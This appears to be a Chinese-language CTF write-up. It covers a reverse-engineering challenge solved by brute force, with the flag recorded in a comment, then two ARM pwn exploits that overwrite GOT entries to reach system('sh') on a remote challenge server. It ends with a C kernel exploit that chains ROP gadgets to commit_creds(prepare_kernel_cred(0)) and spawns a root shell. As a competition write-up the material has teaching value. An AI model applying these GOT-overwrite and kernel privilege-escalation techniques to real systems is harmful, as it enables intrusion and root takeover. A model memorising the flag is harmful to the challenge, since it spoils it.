菜就算了还要出去玩,只抽空做了几个简单题,第一次做内核题才发现不会上传exp。。。。
REVERSE
decryption
主要加密逻辑
for ( i = 0; i <= 31; ++i )
{
v2 = i ^ flag[i];
v3 = i & flag[i];
v7 = flag[i];
v6 = i;
do
{
v4 = 2 * (v6 & v7);
v7 ^= v6;
v6 = v4;
}
while ( v4 );
result = &cipher[i];
cipher[i] = v7 ^ 0x23;
}
不知道是不是可逆的加密,,反正是想不出怎么解密
写脚本爆破
buf = [0x12,0x45,0x10,0x47,0x19,0x49,0x49,0x49,0x1a,0x4f,0x1c,0x1e,0x52,0x66,0x1d,0x52,0x66,0x67,0x68,0x67,0x65,0x6f,0x5f
,0x59,0x58,0x5e,0x6d,0x70,0xa1,0x6e,0x70,0xa3]
flag = []
for i in range(0x20):
for j in range(0xff):
v7 = j
v6 = i
while 1:
v4 = 2 * (v6 & v7)
v7 ^= v6
v6 = v4
if v4==0 :
break
if v7 ^ 0x23 == buf[i]:
flag.append(j)
break
print([chr(k) for k in flag])
print(len(flag))
#1e1a6edc1c52e80b539127fccd48f05a
PWN
emarm
例行检查
先输入一个字符绕过strncmp
的检查
一次任意地址写的机会,因为后面有一个参数可控的函数atoi
,所以直接修改atoi
函数的got表项为system
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
binary_name='emarm'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
libcbase = 0x4000830000
atoi_got = 0x412020
system = libcbase + libc.sym['system']
print(hex(system))
while(1):
try:
p = remote("183.129.189.60",10012)
sla('passwd:','d')
sd(str(atoi_got))
ru('you will success')
sd(p64(system))
sla('you bye','sh\x00')
ia()
except:
print('error')
ememarm
例行检查
由read
函数导致的off-by-null漏洞,分配chunk到got改free
函数的got表项
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
binary_name='ememarm'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if sys.argv[1] == "r":
p = remote("183.129.189.60",10034)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64-static", "./"+binary_name])
else:
p = process(["qemu-aarch64-static","-g","1234","./"+binary_name])
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sl(str(num))
def add(x,y,de=1):
ru('you choice:')
cho(1)
sla('cx:',x)
sla('cy:',y)
sla('delete?',str(de))
def add2(x,y,de=1):
ru('you choice:')
cho(4)
sla('cx:',x)
sla('cy:',y)
sla('delete?',str(de))
def edit(idx,con):
ru('you choice:')
cho(3)
sl(str(idx))
sd(con)
libcbase = 0x4000830000
free_got = 0x412038
system = libcbase + libc.sym['system']
scanf = libcbase + libc.sym['__isoc99_scanf']
ru('4268144')
sl('/bin/sh\x00')
add2('X1ng','X1ng')
add('X2ng','X2ng')
add('X3ng','X3ng')
add('X4ng','X4ng')
edit(3,'z'*0x18)
edit(3,p64(free_got)+b'\n')
add('a','a')
#add(p64(system),p64(scanf))
ru('you choice:')
cho(1)
ru('cx:')
sd(p64(system))
ru('cy:')
sd(p64(scanf))
sla('delete?','0')
cho(5)
ia()
内核安全
dd_kernel
漏洞在write
函数中检查size时
.text:0000000000000026 cmp dl, 7
只要大于0xffff
就可以绕过检查可以栈溢出,直接rop利用
exp:
//gcc -o exp exp.c -static
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define pop_rdi_ret 0xffffffff81204faf//pop rdi; ret;
#define swapgs_popfq_ret 0xffffffff8100c86a//swapgs; popfq; ret;
#define iretq 0xffffffff8100c33a// iret;
#define mov_rax_rdi 0xffffffff8104ecf4//mov rax,rdi; pop rbp; ret;
#define vmlinux_base 0xffffffff81000000
#define dev_text_base 0xffffffffa0000000
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff8105d157; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff8105d235; // TODO:change it
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void shell()
{
printf("[+]root\n");
system("/bin/sh");
exit(0);
}
int get()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)
);
}
size_t buf[0x10000];
int main()
{
printf("[+]open drive\n");
int fd = open("/proc/doudou",O_RDWR);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
unsigned long sz = 0x10007;
int i = 0;
save_stat();
buf[i++] = 0;
buf[i++] = 0;
buf[i++] = pop_rdi_ret;
buf[i++] = 0;
buf[i++] = prepare_kernel_cred;
buf[i++] = mov_rax_rdi;
buf[i++] = 0;
buf[i++] = commit_creds;
buf[i++] = swapgs_popfq_ret;
buf[i++] = 0;
buf[i++] = iretq;
buf[i++] = (size_t)shell;
buf[i++] = user_cs;
buf[i++] = user_rflags;
buf[i++] = user_sp;
buf[i++] = user_ss;
write(fd,buf,sz);
printf("[+]finished\n");
return 0;
}